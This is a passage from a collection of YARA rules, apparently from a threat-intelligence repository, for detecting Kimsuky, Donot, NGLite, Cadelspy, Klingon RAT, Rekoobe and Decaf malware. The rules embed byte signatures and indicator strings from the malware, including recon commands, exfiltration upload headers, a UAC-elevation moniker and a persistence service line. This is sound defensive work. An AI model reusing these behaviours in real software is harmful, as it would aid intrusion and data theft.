		$seq3 = { 48 83 ec 20 c7 45 fc 00 00 00 00 eb 64 8b 45 fc 48 8b 14 c5 48 92 61 00 48 8b 05 ?? bd 20 00 48 89 c6 bf 40 93 61 00 b8 00 00 00 00 e8 ?? 3f ff ff 8b 45 fc 48 8b 04 c5 48 92 61 00 48 89 c6 bf [2] 41 00 b8 00 00 00 00 e8 ?? 3d ff ff be [2] 41 00 bf 40 93 61 00 e8 ?? 3e ff ff 48 89 45 f0 48 8b 45 f0 48 89 c7 e8 ?? 3d ff ff 83 45 fc 01 83 7d fc 00 74 96 48 8b 05 [2] 20 00 48 89 c7 e8 ?? 3c ff ff 48 8b 05 [2] 20 00 be [2] 41 00 48 89 c7 e8 ?? 3e ff ff 48 89 45 e8 48 8b 45 e8 48 89 c7 e8 ?? 3d ff ff c9 c3 55 48 89 e5 48 83 ec 20 48 89 7d e8 48 8b 45 e8 48 89 c7 e8 ?? 3c ff ff 89 c2 8b 05 ?? d0 30 00 01 d0 83 c0 01 89 c7 e8 ?? 91 ff ff 48 89 45 f8 48 8b 55 e8 48 8b 45 f8 48 89 d6 48 89 c7 e8 ?? 3c ff ff 48 8b 45 f8 48 c7 c1 ff ff ff ff 48 89 c2 b8 00 00 00 00 48 89 d7 f2 ae 48 89 c8 48 f7 d0 48 8d 50 ff 48 8b 45 f8 48 01 d0 66 c7 00 2f 00 48 8b 15 ?? cf 30 00 48 8b 45 f8 48 89 d6 48 89 c7 e8 ?? 3e ff ff 48 8b 45 f8 be [2] 41 00 48 89 c7 e8 ?? 3e ff ff 48 89 45 f0 48 83 7d f0 00 }
		$seq4 = { 48 89 e5 48 83 ec 10 c7 45 fc 58 00 00 00 8b 45 fc 48 8d 55 f0 48 89 c6 bf 00 a5 71 00 e8 [2] 00 00 48 89 05 ?? 0b 31 00 48 8d 45 f0 48 89 c2 be 20 00 00 00 bf c0 a4 71 00 e8 [2] 00 00 48 89 05 [2] 31 00 b8 00 00 00 00 e8 b7 fd ff ff 48 89 05 [2] 31 00 48 8b 05 [2] 31 00 48 85 c0 74 09 48 8b 05 [2] 31 00 eb 05 b8 [2] 41 00 48 89 05 [2] 31 00 b8 00 00 00 00 e8 80 fe ff ff 48 89 05 [2] 31 00 48 8b 05 [2] 31 00 48 85 c0 74 09 48 8b 05 [2] 31 00 eb 05 b8 [2] 41 00 48 89 05 ?? 0a 31 00 48 c7 05 ?? 0a 31 00 [2] 41 00 e8 ?? f6 ff ff e8 f1 f7 ff ff b8 01 00 00 00 }
	condition:
		uint32( 0 ) == 0x464c457f and filesize > 50KB and 3 of ( $seq* )
}

rule ARKBIRD_SOLG_APT_Kimsuky_Aug_2020_1 : FILE
{
	meta:
		description = "Detect Gold Dragon used by Kimsuky APT group"
		author = "Arkbird_SOLG"
		id = "dd79aa3b-0bbc-5fdd-808e-c2dee6d89804"
		date = "2020-08-31"
		modified = "2020-09-14"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-09-14/Kimsuky/APT_Kimsuky_Aug_2020_1.yar#L1-L23"
		license_url = "N/A"
		logic_hash = "4644ea81535c867a36a882bb270cea784ae135e7acc7078823be0579b1746932"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "4ff2a67b094bcc56df1aec016191465be4e7de348360fd307d1929dc9cbab39f"
		hash2 = "97935fb0b5545a44e136ee07df38e9ad4f151c81f5753de4b59a92265ac14448"
	strings:
		$s1 = "/c systeminfo >> %s" fullword ascii
		$s2 = "/c dir %s\\ >> %s" fullword ascii
		$s3 = ".?AVGen3@@" fullword ascii
		$s4 = { 48 6f 73 74 3a 20 25 73 0d 0a 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f 2f 25 73 25 73 0d 0a 25 73 0d 0a 25 73 }
		$s5 = "%s?filename=%s" fullword ascii
		$s6 = "Content-Disposition: form-data; name=\"userfile\"; filename=\"" fullword ascii
		$s7 = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG" fullword ascii
		$s8 = "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"" fullword ascii
		$s9 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
		$s10 = "\\Microsoft\\HNC" fullword ascii
		$s11 = "Mozilla/5.0" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 150KB and 8 of them
}

rule ARKBIRD_SOLG_APT_MAL_Donot_Loader_June_2020_1 : FILE
{
	meta:
		description = "Detect loader malware used by APT Donot for drops the final stage"
		author = "Arkbird_SOLG"
		id = "ec4cac12-529f-56d2-bbc0-5fe30424b10b"
		date = "2020-06-22"
		modified = "2020-06-22"
		reference = "https://twitter.com/ccxsaber/status/1274978583463649281"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-22/APT_MAL_Donot_Loader_June_2020_1.yar#L3-L22"
		license_url = "N/A"
		logic_hash = "986deffd48c1fb707948b00e1e200fa6538d4c73a32ab89f5119403f9bf0d734"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "1ff33d1c630db0a0b8b27423f32d15cc9ef867349ac71840aed47c90c526bb6b"
	strings:
		$s1 = "C:\\Users\\spartan\\Documents\\Visual Studio 2010\\new projects\\frontend\\Release\\test.pdb" fullword ascii
		$s2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 Edg/81.0.416.68" fullword ascii
		$s3 = "bbLorkybbYngxkjbb]khbbmgvjgz4k~k" fullword ascii
		$s4 = "8&8-8X8.959?9Q9h9v9|9" fullword ascii
		$s5 = "0$0h4h5l5p5t5x5|5" fullword ascii
		$s6 = "?&?+?1?7?M?T?g?z?" fullword ascii
		$s7 = "12.02.1245" fullword ascii
		$s8 = ">>?C?L?[?~?" fullword ascii
		$s9 = "6*6=6P6b6" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and 7 of them
}

rule ARKBIRD_SOLG_MAL_Nglite_Nov_2021_2 : FILE
{
	meta:
		description = "Detect NGLite backdoor (version B)"
		author = "Arkbird_SOLG"
		id = "e18f2891-366b-5cff-a17e-63523bfd9cee"
		date = "2021-11-08"
		modified = "2021-11-09"
		reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-08/NGLite/MAL_NGLite_Nov_2021_2.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "4d44d208010ca17f47f597f7d9eb5ee39d91a2d9077218a173ef0015699dc296"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d"
		hash2 = "805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 8b 05 64 ?? bf 00 8d 0d e0 ?? c6 00 89 04 24 89 4c 24 04 c7 44 24 08 08 02 00 00 e8 d0 1d 00 00 8b 44 24 0c 85 c0 74 2e 3d 08 02 00 00 77 27 8d 1d e0 ?? c6 00 c6 04 03 5c 40 89 05 24 ?? c6 00 e9 0b ff ff ff 31 c0 e8 44 9f 02 00 ba 09 02 00 00 e8 6a 9f 02 00 8d 05 ?? 7b 8a 00 89 04 24 c7 44 24 04 24 00 00 00 e8 a4 3b 00 00 31 c0 e8 1d 9f 02 00 90 e8 57 86 02 }
		$s2 = { 83 ec 40 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 8b 05 70 ?? bf 00 89 04 24 c7 44 24 04 ff ff ff ff 8d 44 24 18 89 44 24 08 8d 44 24 14 89 44 24 0c e8 21 15 00 00 8b 44 24 10 85 c0 74 32 31 c0 31 c9 eb 03 40 89 d1 83 f8 20 7d 20 19 d2 89 cb 89 c1 bd 01 00 00 00 d3 e5 21 d5 23 6c 24 18 85 ed 74 05 8d 53 01 eb dc 89 da eb d8 85 c9 75 2d 8d 7c 24 1c 31 c0 e8 63 98 02 00 8b 0d 60 ?? bf 00 89 0c 24 8d 4c 24 1c 89 4c 24 04 e8 46 14 00 00 8b 4c 24 30 89 4c 24 44 83 c4 40 c3 89 4c 24 44 83 c4 40 c3 e8 4d 7d 02 00 e9 38 }
		$s3 = { 0f b6 2c 13 95 80 f8 80 95 72 f0 c7 44 24 20 00 00 00 00 8b 0d 7c ?? bf 00 89 0c 24 89 44 24 04 8d 4c 24 20 89 4c 24 08 e8 77 0b 00 00 8b 44 24 0c 85 c0 75 4a c7 44 24 1c 00 00 00 00 8b 05 20 ?? bf 00 89 04 24 8b 44 24 24 89 44 24 04 8b 44 24 30 89 44 24 08 8b 44 24 34 89 44 24 0c 8d 44 24 1c 89 44 24 10 c7 44 24 14 00 00 00 00 e8 f1 0b 00 00 8b 44 24 1c 89 44 24 38 83 c4 28 c3 8b 44 24 24 89 04 24 8b 44 24 30 89 44 24 04 8b 44 24 34 89 44 24 08 e8 59 00 00 00 8b 44 24 }
		$s4 = { 83 ec 50 c7 44 24 24 00 00 00 00 8b 05 88 ?? bf 00 89 04 24 c7 44 24 04 ff ff ff ff c7 44 24 08 fe ff ff ff c7 44 24 0c ff ff ff ff 8d 44 24 24 89 44 24 10 c7 44 24 14 00 00 00 00 c7 44 24 18 00 00 00 00 c7 44 24 1c 02 00 00 00 e8 09 04 00 00 64 8b 05 14 00 00 00 8b 80 00 00 00 00 8b 40 18 84 00 05 68 01 00 00 89 04 24 8b 44 24 24 89 44 24 04 e8 d2 86 fd ff 8d 7c 24 34 31 c0 e8 60 86 02 00 8b 05 30 ?? bf 00 89 04 24 8d 44 24 34 89 44 24 04 8d 44 24 34 89 44 24 08 c7 44 24 0c 1c 00 00 00 e8 b1 02 00 00 8b 44 24 }
		$s5 = { 8b 05 94 ?? bf 00 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 e8 ed 05 00 00 8b 44 24 14 8b 4c 24 1c 89 81 b4 01 00 00 85 c0 74 7e 8b 05 94 ?? bf 00 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 e8 ad 05 00 00 8b 44 24 14 8b 4c 24 1c 89 81 b8 01 00 00 85 c0 74 04 83 c4 18 c3 8d 05 ?? ?? 8b 00 89 04 24 e8 c9 6c 02 00 8b 05 98 ?? bf 00 8b 4c 24 1c 8b 91 b4 01 00 00 89 04 24 89 54 24 04 e8 ad 04 00 00 8b 44 24 1c c7 80 b4 01 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 40KB and 4 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Nglite_Nov_2021_1 : FILE
{
	meta:
		description = "Detect NGLite backdoor (version A)"
		author = "Arkbird_SOLG"
		id = "cf2845f3-1176-5197-9d05-f123b0f23c75"
		date = "2021-11-09"
		modified = "2021-11-09"
		reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-08/NGLite/MAL_NGLite_Nov_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "ebafc52da76b9a960ee3c2c99955fb5dcb4acff2b7a0d7fad714bfc17617331a"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "7e4038e18b5104683d2a33650d8c02a6a89badf30ca9174576bf0aff08c03e72"
		hash2 = "3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 48 8b 05 48 e7 90 00 48 8d 0d 99 4b 99 00 48 89 04 24 48 89 4c 24 08 48 c7 44 24 10 08 02 00 00 e8 82 21 00 00 48 8b 44 24 18 48 85 c0 74 33 48 3d 08 02 00 00 77 2b 48 8d 1d 69 4b 99 00 c6 04 03 5c 48 ff c0 48 89 05 4b 3f 99 00 e9 d6 fe ff ff 31 c0 e8 8f fc 02 00 ba 09 02 00 00 e8 b5 fc 02 00 48 8d 05 fe d5 55 00 48 89 04 24 48 c7 44 24 08 24 00 00 00 e8 cc 44 00 00 31 c0 e8 65 fc 02 00 90 e8 af d2 02 }
		$s2 = { 48 83 ec 70 48 89 6c 24 68 48 8d 6c 24 68 48 c7 44 24 30 00 00 00 00 48 c7 44 24 28 00 00 00 00 48 8b 05 bf dc 90 00 48 89 04 24 48 c7 44 24 08 ff ff ff ff 48 8d 44 24 30 48 89 44 24 10 48 8d 44 24 28 48 89 44 24 18 e8 39 17 00 00 48 83 7c 24 20 00 74 35 31 c0 31 c9 eb 24 48 89 ca 48 89 c1 bb 01 00 00 00 48 d3 e3 48 23 5c 24 30 48 8d 72 01 48 85 db 48 0f 45 d6 48 ff c0 48 89 d1 48 83 f8 40 7c d6 48 85 c9 75 3e 0f 57 c0 0f 11 44 24 38 0f 11 44 24 48 0f 11 44 24 58 48 8b 05 23 dc 90 00 48 89 04 24 48 8d 44 24 38 48 89 44 24 08 e8 10 16 00 00 8b 44 24 58 89 44 24 78 48 8b 6c 24 68 48 83 c4 70 c3 89 4c 24 78 48 8b 6c 24 68 48 }
		$s3 = { 48 8b 05 60 cc 90 00 48 89 04 24 0f 57 c0 0f 11 44 24 08 0f 11 44 24 18 e8 02 07 00 00 48 8b 44 24 28 48 8b 4c 24 40 48 89 81 10 03 00 00 48 85 c0 0f 84 80 00 00 00 48 8b 05 29 cc 90 00 48 89 04 24 0f 57 c0 0f 11 44 24 08 0f 11 44 24 18 e8 cb 06 00 00 48 8b 44 24 28 48 8b 4c 24 40 48 89 81 18 03 00 00 48 85 c0 74 0a 48 8b 6c 24 30 48 83 c4 38 c3 48 8d 05 ac e0 56 00 48 89 04 24 e8 1b b6 02 00 48 8b 05 e4 cb 90 00 48 8b 4c 24 40 48 8b 91 10 03 00 00 48 89 04 24 48 89 54 24 08 e8 5a 05 00 00 48 8b 44 24 40 48 c7 80 10 03 00 00 00 00 00 00 eb b3 48 8d 05 61 e0 56 00 48 89 04 24 e8 d8 b5 02 00 e9 6b ff ff ff 48 8b 6c 24 30 48 83 c4 38 }
		$s4 = { 48 81 ec a0 00 00 00 48 89 ac 24 98 00 00 00 48 8d ac 24 98 00 00 00 48 c7 44 24 48 00 00 00 00 48 8b 05 8a c9 90 00 48 89 04 24 48 c7 44 24 08 ff ff ff ff 48 c7 44 24 10 fe ff ff ff 48 c7 44 24 18 ff ff ff ff 48 8d 44 24 48 48 89 44 24 20 0f 57 c0 0f 11 44 24 28 48 c7 44 24 38 02 00 00 00 e8 3b 05 00 00 65 48 8b 04 25 28 00 00 00 48 8b 80 00 00 00 00 48 8b 40 30 48 8b 4c 24 48 48 87 88 78 02 00 00 0f 57 c0 0f 11 44 24 68 0f 11 44 24 78 0f 11 84 24 88 00 00 00 48 8b 05 5f c8 90 00 48 89 04 24 48 8d 44 24 68 48 89 44 24 08 48 8d 44 24 68 48 89 44 24 10 48 c7 44 24 18 30 00 00 00 e8 59 03 00 00 48 83 7c 24 20 }
		$s5 = { 48 8b 15 26 29 92 00 48 89 14 24 48 89 4c 24 08 48 89 44 24 10 48 c7 44 24 18 00 10 00 00 48 c7 44 24 20 04 00 00 00 e8 71 64 01 00 48 83 7c 24 28 00 40 0f 94 c6 48 8b 44 24 38 48 8b 4c 24 48 48 8b 54 24 68 48 8b 5c 24 40 e9 61 ff ff ff 48 8b 6c 24 50 48 83 c4 58 c3 48 8b 6c 24 50 48 83 c4 58 c3 e8 25 91 01 00 48 8d 05 e2 b8 56 00 48 89 04 24 48 c7 44 24 08 19 00 00 00 e8 bc 9a 01 00 48 8b 44 24 38 48 89 04 24 e8 be 97 01 00 48 8d 05 9a b1 56 00 48 89 04 24 48 c7 44 24 08 19 00 00 00 e8 95 9a 01 00 8b 44 24 34 48 89 04 24 e8 98 97 01 00 e8 73 93 01 00 e8 5e 91 01 00 48 8d }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 40KB and 4 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Cadelspy_Stealer_May_2021_1 : FILE
{
	meta:
		description = "Detect Cadelspy stealer"
		author = "Arkbird_SOLG"
		id = "bac23ed9-f51c-546e-8f4e-320d33b51829"
		date = "2021-05-30"
		modified = "2021-06-05"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-30/APT39/MAL_Cadelspy_Stealer_May_2021_1.yara#L1-L24"
		license_url = "N/A"
		logic_hash = "29fade3703c55bd16e67f9bf126cb0d8a06bc0eafe10e145f8d57d8c4abe5656"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "8847a73bbd9477be60685ce8ec8333db933892f4d7b729fcef01ac76600de9ff"
		hash2 = "f3b0ad96c8529399bd7117bd67cdf0297191476d3a81a60b147960306ae5f068"
		hash3 = "88c947d0d0fddd1ea87f5b85982cf231c9c56e4f5e25fac405f608a1c28d8391"
		tlp = "White"
		adversary = "APT39"
	strings:
		$str1 = "C:\\Windows\\SysEvent.exe" fullword wide
		$str2 = "\\sysprep\\sysprep.exe" fullword wide
		$str3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
		$str4 = "@C:\\Windows\\systemw.dll" fullword wide
		$str5 = "systemw.dll" fullword ascii
		$str6 = "ApAshell32.dll" fullword wide
		$seq1 = { 55 8b ec 83 ec 14 a1 04 00 41 00 33 c5 89 45 fc 8d 45 f8 c7 45 f0 00 00 00 00 50 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 68 20 02 00 00 6a 20 6a 02 8d 45 f0 66 c7 45 f4 00 05 50 ff 15 08 30 40 00 85 c0 74 25 8d 45 ec 50 ff 75 f8 6a 00 ff 15 04 30 40 00 ff 75 f8 f7 d8 1b c0 21 45 ec ff 15 00 30 40 00 83 7d ec 00 75 05 e8 52 fd ff ff 56 68 2d 02 00 00 ff 15 30 30 40 00 68 1c 33 40 00 ff 15 20 30 40 00 6a 00 6a 00 6a 01 6a 00 6a 00 6a 02 68 1c 33 40 00 89 45 f8 ff 15 1c 30 40 00 6a 00 8b f0 8d 45 f8 50 68 00 ba 00 00 68 68 33 40 00 56 ff 15 6c 30 40 00 56 ff 15 74 30 40 00 6a 01 6a 00 6a 00 68 1c 33 40 00 68 4c 33 40 00 6a 00 ff 15 b0 30 40 00 8b 4d fc 33 c0 33 cd 5e e8 06 00 00 00 }
		$seq2 = { 8b 0d 10 32 40 00 0f 10 05 24 32 40 00 89 08 8b 0d 14 32 40 00 89 48 04 8b 0d 18 32 40 00 89 48 08 8b 0d 1c 32 40 00 89 48 0c 66 8b 0d 20 32 40 00 66 89 48 10 33 c9 a1 3c 32 40 00 0f 11 84 24 34 04 00 00 89 84 24 4c 04 00 00 f3 0f 7e 05 34 32 40 00 66 0f d6 84 24 44 04 00 00 0f 1f 40 00 0f b7 84 0c c8 0f 00 00 8d 49 02 66 89 84 0c 42 08 00 00 66 85 c0 75 e8 8d bc 24 44 08 00 00 83 c7 fe 66 8b 47 02 83 c7 02 66 85 c0 75 f4 b9 0a 00 00 00 be 40 32 40 00 f3 a5 b9 21 00 00 00 0f 10 05 58 33 40 00 66 a5 8d bc 24 54 0c 00 00 be 70 32 40 00 f3 a5 66 a5 0f 11 84 24 5c 0e 00 00 0f 10 05 78 ed 40 00 0f 11 84 24 6c 0e 00 00 0f 10 05 68 ed 40 00 0f 11 84 24 7c 0e 00 00 38 45 08 75 1f 8d 44 24 10 50 e8 23 fa ff ff 5f 5e 5b 8b 8c 24 c8 11 00 00 33 cc e8 1c 04 00 00 8b }
		$seq3 = { 8b 84 b5 e4 d9 ff ff 85 c0 74 66 50 6a 00 68 ff ff 1f 00 ff 15 28 30 40 00 8b f8 85 ff 74 52 8d 85 dc d9 ff ff 50 6a 04 8d 85 d0 d9 ff ff 50 57 ff 15 64 30 40 00 85 c0 74 32 68 04 01 00 00 8d 85 ec fb ff ff 50 ff b5 d0 d9 ff ff 57 ff 15 34 30 40 00 8d 85 ec fb ff ff 68 f8 32 40 00 50 ff 15 38 31 40 00 83 c4 08 85 c0 74 21 57 ff d3 33 ff 8b 85 e0 d9 ff ff 46 c1 e8 02 8b cf 3b f0 0f 82 7b ff ff ff 85 c9 0f 84 43 01 00 00 68 04 01 00 00 8d 85 e4 f9 ff ff 50 6a 00 ff 15 3c 30 40 00 85 c0 0f 84 24 01 00 00 8d 85 f4 fd ff ff 50 68 04 01 00 00 ff 15 14 30 40 00 8d 85 f4 fd ff ff 50 6a 00 68 14 33 40 00 50 ff 15 60 30 40 00 6a 00 8d 85 f4 fd ff ff 50 8d 85 e4 f9 ff ff 50 ff 15 58 30 40 00 85 c0 0f 84 df 00 00 00 6a 00 6a 00 6a 03 6a 00 6a 00 68 00 00 00 c0 8d 85 f4 fd ff ff 50 ff 15 1c 30 40 00 8b f0 83 fe ff 0f 84 b8 00 00 00 6a 00 8d 85 d8 d9 ff ff 50 68 00 10 00 00 8d 85 e4 e9 ff ff 50 56 ff 15 78 30 40 00 85 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 30KB and 5 of ( $str* ) and 2 of ( $seq* )
}

rule ARKBIRD_SOLG_MAL_Klingon_Jun_2021_1 : FILE
{
	meta:
		description = "Detect the Klingon RAT"
		author = "Arkbird_SOLG"
		id = "bf114c4d-3010-5b34-954e-82794e30edcb"
		date = "2021-06-19"
		modified = "2021-06-21"
		reference = "https://www.intezer.com/blog/malware-analysis/klingon-rat-holding-on-for-dear-life/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-20/Klingon/MAL_Klingon_Jun_2021_1.yara#L1-L18"
		license_url = "N/A"
		logic_hash = "283452d24edea988dc353fada4cd1e050db244a48cc6ab30f70e1900ca9c7c2f"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "44237e2de44a533751c0baace09cf83293572ae7c51cb4575e7267be289c6611"
		hash2 = "c98bb0649262277ec9dd16cf27f8b06042ff552535995f2bdd3355d2adeff801"
		hash3 = "e8eea442e148c81f116de31b4fc3d0aa725c5dbbbd840b446a3fb9793d0b9f26"
		tlp = "White"
		adversary = "-"
	strings:
		$seq1 = { 81 3a 70 72 6f 78 0f 85 [2] 00 00 80 7a 04 79 0f 84 [2] 00 00 48 83 f9 05 75 12 81 3a 73 68 65 6c 75 0a 80 7a 04 6c 0f 84 [2] 00 00 48 83 f9 06 75 14 81 3a 62 69 6e 61 75 0c 66 81 7a 04 72 79 0f 84 [2] 00 00 48 83 f9 03 0f 85 ?? 04 00 00 66 81 3a 63 6d 0f 85 [2] 00 00 80 7a 02 64 0f 84 [2] 00 00 48 83 f9 06 }
		$seq2 = { 48 8d 05 [3] 00 48 89 ?? 24 [1-4] 48 c7 84 24 ?? 00 00 00 ?? 00 00 00 48 8d 0d [3] 00 48 89 ?? 24 [0-4] 48 c7 ?? 24 }
		$seq3 = { 48 8d 0d [3] 00 48 89 8c 24 ?? 00 00 00 48 8b 94 24 ?? 00 00 00 48 89 94 24 ?? 00 00 00 48 89 8c 24 ?? 00 00 00 48 8b 94 24 ?? 00 00 00 48 89 94 24 ?? 00 00 00 48 89 8c 24 ?? 00 00 00 48 89 84 24 ?? 00 00 00 48 8d 05 [3] 00 48 89 04 24 48 c7 44 24 08 08 00 00 00 48 8d 84 24 ?? 00 00 00 48 89 44 24 10 48 c7 44 24 18 03 00 00 00 48 c7 44 24 20 03 00 00 00 e8 [3] ff 48 8b 44 24 30 48 89 44 24 58 48 8b 4c 24 28 48 89 8c 24 ?? 00 00 00 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 300KB and all of ( $seq* )
}


rule ARKBIRD_SOLG_MAL_ELF_Rekoobe_Nov_2021_1 : FILE
{
	meta:
		description = "Detect the Rekoobe rootkit"
		author = "Arkbird_SOLG"
		id = "a5b200f1-cbb7-5106-8127-74abd3cde061"
		date = "2021-11-10"
		modified = "2021-11-11"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-10/MAL_ELF_Rekoobe_Nov_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "bde3d1a3d2d2e9efd4b7c68f69dce40d5e0f01d41885481730d8a7fa67cbab7e"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "bf09a1a7896e05b18c033d2d62f70ea4cac85e2d72dbd8869e12b61571c0327e"
		hash2 = "e1999a3e5a611312e16bb65bb5a880dfedbab8d4d2c0a5d3ed1ed926a3f63e94"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 00 ?? 19 00 00 00 48 85 c0 [2-6] bf 0a 00 00 00 e8 [2] 01 00 ?? 24 00 00 00 48 85 c0 [2-6] c6 00 48 c6 40 05 49 c6 40 01 49 c6 40 06 4c c6 40 02 53 c6 40 07 45 c6 40 03 54 c6 40 08 3d c6 40 04 46 c6 40 09 00 48 89 c7 e8 [2] 00 00 48 8d 54 24 0c }
		$s2 = "GETCONF_DIR" ascii
		$s3 = "/var/run/nscd/so/dev/ptmx" ascii
		$s4 = { 45 78 65 63 53 74 61 72 74 3d 2f 62 69 6e 2f 62 61 73 68 20 2d 63 20 2f 75 73 72 2f 62 69 6e 2f 62 69 6f 73 65 74 64 }
		$s5 = { 48 89 df e8 [3] ff 31 f6 48 89 df e8 [3] ff 48 8d 58 01 48 }
		$s6 = { 2f 76 61 72 2f 74 6d 70 00 2f 76 61 72 2f 70 72 6f 66 69 6c 65 }
	condition:
		uint32( 0 ) == 0x464C457F and filesize > 100KB and 5 of ( $s* )
}

rule ARKBIRD_SOLG_RAN_Decaf_Nov_2021_1 : FILE
{
	meta:
		description = "Detect Decaf ransomware (unpacked UPX)"
		author = "Arkbird_SOLG"
		id = "d19b2d31-a6c5-5033-ba43-4e9ccabc37bb"
		date = "2021-11-01"
		modified = "2021-11-02"
		reference = "https://blog.morphisec.com/decaf-ransomware-a-new-golang-threat-makes-its-appearance"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Decaf/RAN_Decaf_Nov_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "5cea33d710d252b39bcd8ae227f52d10897b7fe58b1ff5226a1cb8cc094d600c"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "088b4715bbe986deac972d551b88f178d43b191f5a71fbd4db3fb0810a233500"
		hash2 = "5da2a2ebe9959e6ac21683a8950055309eb34544962c02ed564e0deaf83c9477"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 48 8b 05 [3] 00 48 8b 0d [3] 00 48 8d 54 24 ?? 8b 5c 24 ?? 48 8d 74 24 ?? 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 48 89 5c 24 18 48 89 74 24 20 89 f8 48 89 44 24 28 48 c7 44 24 30 00 00 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 38 00 74 ?? 48 8b 54 24 ?? c6 82 e5 00 00 00 00 48 8b 54 24 ?? 31 c0 }
		$s2 = { 48 8b 05 [3] 00 48 8b 0d [3] 00 48 89 0c 24 48 89 44 24 08 44 0f 11 7c 24 10 48 c7 44 24 20 00 00 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 28 00 74 0a 48 8b 6c 24 ?? 48 83 c4 ?? c3 e8 [3] 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 }
		$s3 = { 48 83 ec 48 48 89 6c 24 40 48 8d 6c 24 40 48 89 44 24 50 48 89 5c 24 58 48 83 3d [3] 00 00 75 73 48 8b 05 45 [2] 00 48 8d 0d 66 [2] 00 48 89 04 24 48 89 4c 24 08 48 c7 44 24 10 04 01 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 8b 44 24 18 48 85 c0 0f 84 6a 01 00 00 48 3d 04 01 00 00 0f 87 5e 01 00 00 48 8d 1d 1a [2] 00 c6 04 03 5c 4c 8d 40 01 4c 89 05 [3] 00 48 8b 44 24 50 48 8b 5c }
		$s4 = { 48 89 44 24 40 c7 44 24 3c 00 00 00 00 48 8b 0d [3] 00 48 8d 54 24 3c 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 18 00 75 10 48 8b 44 24 40 8b 4c 24 68 48 8b 5c 24 60 eb 1d 48 8b 44 24 40 48 8b 5c 24 60 8b 4c 24 68 e8 8f 00 00 00 48 8b 6c 24 48 48 83 c4 50 c3 c7 44 24 38 00 00 00 00 48 8b 15 [3] 00 48 8d 74 24 38 48 89 14 24 48 89 44 24 08 48 89 5c 24 10 48 63 c1 48 89 44 24 18 48 89 74 24 20 48 c7 44 24 28 00 00 00 00 e8 }
